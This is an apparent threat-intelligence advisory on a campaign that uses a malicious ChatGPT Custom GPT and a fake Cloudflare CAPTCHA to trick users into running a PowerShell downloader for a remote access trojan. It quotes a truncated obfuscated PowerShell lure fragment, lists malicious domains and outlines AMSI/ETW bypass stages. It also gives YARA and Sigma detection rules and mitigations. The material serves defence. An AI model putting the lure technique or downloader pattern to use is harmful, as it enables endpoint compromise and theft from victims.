Malicious Custom GPTs Turn ChatGPT Into RAT Delivery Lure

1. Executive summary

Threat actors created a malicious ChatGPT Custom GPT named "Plus 5.6" and promoted it through sponsored Google search results, using it to impersonate a legitimate product and funnel users to a fake Cloudflare CAPTCHA page that instructs them to paste and run a PowerShell command. The command is a ClickFix lure that delivers a remote access trojan. Huntress reports its SOC responded to at least 40 incidents tied to the specific Google Sites domain used in the campaign, with two confirmed infections, and observed the activity in late September 2026. No CVE is involved and no CISA KEV entry applies: this is abuse of trusted platform features (OpenAI Custom GPTs, Google Sites, Google Ads) plus user-executed PowerShell, not a software vulnerability. The risk to EMEA financial services is endpoint compromise via a lure that bypasses browser download protections, because the payload is pasted into a Run dialog or PowerShell prompt rather than downloaded as a file. Attribution is unconfirmed; no named actor has been tied to this campaign in the source material.

2. Regulatory framing

No other article in the regulatory reference is directly engaged by the facts available. The item does not describe a major incident meeting a reporting threshold on the evidence provided, so DORA Art. 19 and NIS2 Art. 23 are not asserted here.

3. Technical analysis & attack chain

The campaign is a ClickFix chain that uses trusted AI and cloud domains as the lure surface. The confirmed steps, as reported:

1. A malicious ChatGPT Custom GPT named "Plus 5.6" is created and impersonates a legitimate product offering.
2. Sponsored Google search results are used to push users toward the Custom GPT.
3. The Custom GPT directs the user to a fake Cloudflare CAPTCHA verification page.
4. The fake CAPTCHA page instructs the user to paste and execute a command to "fix" a problem, copying a malicious PowerShell command to the clipboard.
5. The user opens a Run dialog (Win+R) or a PowerShell prompt and pastes the command, which executes the PowerShell downloader.
6. The downloader retrieves a second-stage script from command-and-control infrastructure.

The core technique is that no file is downloaded through the browser. The command is copied to the clipboard and executed by the user, which bypasses browser-based download protections entirely. This is the defining property of ClickFix and the reason endpoint controls that rely on blocking file downloads do not stop it.

Huntress observed the activity in late September 2026 and reports its SOC responded to at least 40 incidents stemming from the specific Google Sites domain involved, with two of those incidents confirmed as infections. That figure is single-sourced to Huntress and should be treated as a floor on observed volume, not a total.

The related Elastic Security Labs research describes a separate but technique-adjacent ClickFix campaign delivering a custom RAT it calls MIMICRAT. That campaign is distinct from the Custom GPT activity and should not be conflated with it. Elastic's findings are relevant because they show the same delivery pattern at higher technical depth: a compromised legitimate site (bincheck[.]io, a BIN validation service) loads an external script from a second compromised site (investonline[.]in, an Indian mutual fund platform) at the path /js/jq.php, named to impersonate jQuery. The remotely loaded script serves the fake Cloudflare lure, which supports 17 languages and localizes content based on the victim's browser language. The clipboard-delivered command in that campaign is an obfuscated PowerShell one-liner beginning:

powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87

The command string is truncated in the source and should not be used as a complete indicator. Elastic describes the MIMICRAT chain as five stages: an obfuscated PowerShell downloader contacts C2 for a second-stage script that patches Windows event logging (ETW) and antivirus scanning (AMSI), then drops a Lua-scripted loader that decrypts and executes shellcode in memory, ending in MIMICRAT, a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling and a 22-command dispatch table. MIMICRAT communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic. Elastic first identified that campaign in early February 2026 and states it remained active at publication.

The Custom GPT campaign and the MIMICRAT campaign share the ClickFix delivery pattern but the sources do not establish that they are the same operation, the same actor, or that the Custom GPT chain ends in MIMICRAT. The final payload of the Custom GPT campaign is described only as a RAT; the sources do not name it. Do not assume MIMICRAT is the payload here.

Microsoft Threat Intelligence reports a broader set of AI-themed campaigns impersonating ChatGPT, Microsoft Copilot, DeepSeek and Claude, including a ChatGPT-themed phishing campaign that sent up to 100,000 emails in a single day to steal payment and personal data, and an initial access broker tracked as Storm-3075 using AI-themed malvertising to distribute payloads for multiple downstream actors. Microsoft states these campaigns do not represent a compromise of the AI services referenced. That framing applies here: the Custom GPT feature is being abused as a lure surface, not exploited as a vulnerability.

Unconfirmed and single-sourced claims: the 40-incident figure and the two confirmed infections are from Huntress alone. The identity of the final RAT in the Custom GPT chain is not stated in any source. No actor attribution is provided in the source material, and no MITRE ATT&CK profile is available in the verified reference data, so any attribution would be unconfirmed.

4. Mitigation & containment

P1 (within 24 hours)

• Block execution of PowerShell launched from a Run dialog by non-administrative users where operationally feasible. The ClickFix pattern depends on a user pasting a command into Win+R or a PowerShell prompt; restricting interactive PowerShell for standard users removes the execution path.
• Enable PowerShell script block logging and module logging, and forward to the SIEM. The clipboard-delivered command is a PowerShell one-liner, so script block logging captures it even when the command is obfuscated.
• Hunt for the specific Google Sites domain reported by Huntress in web proxy and DNS logs, and block it. The domain value is not published in the source material provided; obtain it from the Huntress report before enforcing a block.
• Search endpoint telemetry for PowerShell processes with parent process explorer.exe or with a command line containing Run-dialog execution characteristics, and for outbound HTTPS to newly registered or low-reputation domains on port 443.

P2 (within 72 hours)

• Deploy the Sigma and YARA rules in §6 to EDR and email/web gateways.
• Add detection for AMSI and ETW bypass behaviour: PowerShell processes that attempt to patch amsi.dll or load with reflection, and processes that tamper with ETW providers. Elastic documents this as part of the MIMICRAT chain; the same behaviour is common to ClickFix payloads generally.
• Review Google Ads and search-result exposure. Sponsored results were the entry vector; where the organisation permits sponsored search results in browser policy, consider blocking or flagging ad domains on managed endpoints.
• Brief service desk and SOC staff on the Custom GPT lure pattern so that user reports of "a CAPTCHA told me to run a command" are escalated as incidents, not dismissed.

P3 (within 7 days)

• Add Custom GPT and AI-platform impersonation to user awareness material, framed around the specific behaviour: a legitimate CAPTCHA never asks you to open a Run dialog or paste a command.
• Review third-party platform acceptable-use controls for AI services, covering both what users can access and what can be published under the organisation's brand.
• If any endpoint is confirmed infected, isolate it, capture memory before remediation, and treat credentials used on that host as compromised. MIMICRAT-class implants support token impersonation and SOCKS5 tunneling, so assume lateral movement capability until ruled out.

No vendor patch exists for this item. There is no CVE and no software fix; the mitigation is control of user-executed PowerShell and blocking of the lure infrastructure.

5. Indicators of compromise

The bincheck[.]io and investonline[.]in indicators belong to the MIMICRAT campaign documented by Elastic Security Labs, which is technique-adjacent to but not confirmed as the same operation as the Custom GPT campaign. The Custom GPT campaign's Google Sites domain is referenced by Huntress but its value is not published in the source material provided. The PowerShell string is truncated in the source and is not usable as a complete indicator; it is included only to show the obfuscation pattern.

domain  bincheck[.]io
domain  investonline[.]in
url  hxxps://www.investonline[.]in/js/jq.php
string  powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87

Behavioural indicators

6. Detection

The sources provide usable artefacts for a Sigma rule (process behaviour, command-line pattern) and a YARA rule (the obfuscated PowerShell string fragment). The YARA rule uses the truncated string fragment as a distinctive substring; it will match the documented sample and close variants but not all obfuscated variants.

rule ClickFix_PowerShell_Clipboard_Lure
{
    meta:
        author = "Adverse Trace"
        date = "2026-09-30"
        reference = "https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks"
        description = "Detects the obfuscated PowerShell one-liner delivered via ClickFix clipboard lure in the MIMICRAT campaign. String is truncated in the source and matches the documented fragment."
    strings:
        $s1 = "powershell.exe -WInDo Min $RdLU=" ascii nocase
        $s2 = "$RdLU.Substring(17,12)" ascii
        $s3 = "$jOFn=.($RdLU[" ascii
    condition:
        2 of them
}

title: ClickFix PowerShell Execution via Run Dialog or Clipboard Paste
id: 7f3a1c92-4b8e-4d21-9a6f-2c5e8d1b0a34
status: experimental
description: Detects PowerShell execution consistent with ClickFix clipboard lures, where a user pastes a command into a Run dialog or PowerShell prompt. The command is obfuscated and contacts external infrastructure.
author: Adverse Trace
date: 2026-09-30
references:

    - https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks
    - https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith:

            - '\powershell.exe'
            - '\pwsh.exe'
    selection_parent:
        ParentImage|endswith:

            - '\explorer.exe'
    selection_cmd:
        CommandLine|contains:

            - 'Substring('
            - '-WInDo Min'
            - 'FromBase64String'
            - 'Invoke-Expression'
            - 'IEX'
    condition: selection_img and selection_parent and selection_cmd
falsepositives:

    - Legitimate administrative scripts launched from Explorer by power users
    - Software installers that spawn PowerShell from Explorer
level: high

7. Sources

• Dark Reading, "Malicious Custom GPTs Turn ChatGPT Into RAT Delivery Lure", https://www.darkreading.com/cyberattacks-data-breaches/malicious-custom-gpts-chatgpt-rat-delivery-lure, 2026-09-30
• SecurityWeek, "Hackers Use ChatGPT Custom GPTs in ClickFix Attacks", https://www.securityweek.com/hackers-use-chatgpt-custom-gpts-in-clickfix-attacks/, 2026-09-30
• Help Net Security, "Malicious Custom GPT on chatgpt.com lures users into installing a RAT", https://www.helpnetsecurity.com/2026/09/29/malicious-chatgpt-custom-gpt-malware-via-clickfix/, 2026-09-29
• Huntress, "Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix", https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat, 2026-09
• The Hacker News, "Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix Lures", https://thehackernews.com/2026/09/attackers-abuse-chatgpt-custom-gpts-to.html, 2026-09
• Elastic Security Labs, "MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites", https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks, 2026
• Microsoft Threat Intelligence, "Detect and disrupt AI-themed attacks with Microsoft Defender", https://www.microsoft.com/en-us/security/blog/2026/09/10/detect-and-disrupt-ai-themed-attacks-with-microsoft-defender/, 2026-09-10

8. Adverse Trace position

Adverse Trace assesses this as a medium-severity, high-likelihood social engineering campaign rather than a software vulnerability. There is no CVE, no CISA KEV entry and no patch; the entire chain depends on a user pasting a command into a Run dialog or PowerShell prompt, which means the effective control is endpoint policy and user behaviour, not vulnerability management. The Huntress incident count (at least 40 responses, two confirmed infections) is single-sourced and should be verified against your own telemetry before it is used to size exposure. The final RAT in the Custom GPT chain is unnamed in the source material, and no actor attribution is available; we treat any attribution as unconfirmed. For EMEA financial services clients, the practical exposure is endpoints where standard users can execute interactive PowerShell, and the practical gap is that browser download controls do not stop this chain. We will obtain the specific Google Sites domain from the Huntress report and reissue with it as a confirmed indicator, and we will monitor for a named payload or actor attribution. Clients who want a targeted hunt package for ClickFix execution patterns on managed endpoints should contact their Adverse Trace account lead.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.